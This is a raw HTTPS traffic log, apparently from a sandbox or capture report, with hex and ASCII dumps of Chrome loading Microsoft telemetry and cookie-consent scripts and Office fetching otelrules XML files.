2024-11-20 05:40:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-185f5d8b95c95vpshC1NYC759c00000009tg00000000c3bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49801	13.107.246.45	443	2200	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 05:40:31 UTC	896	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T054031Z-1777c6cb754j8gqphC1TEB5bf8000000090g00000000efkm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T1 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49802	13.107.246.45	443	2200	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 05:40:31 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 38097 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 83812644-101e-002a-70b6-3a1fcf000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T054031Z-185f5d8b95csp6jmhC1NYCwy6s00000009q000000000gkvs Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-20 05:40:31 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-20 05:40:31 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-20 05:40:31 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
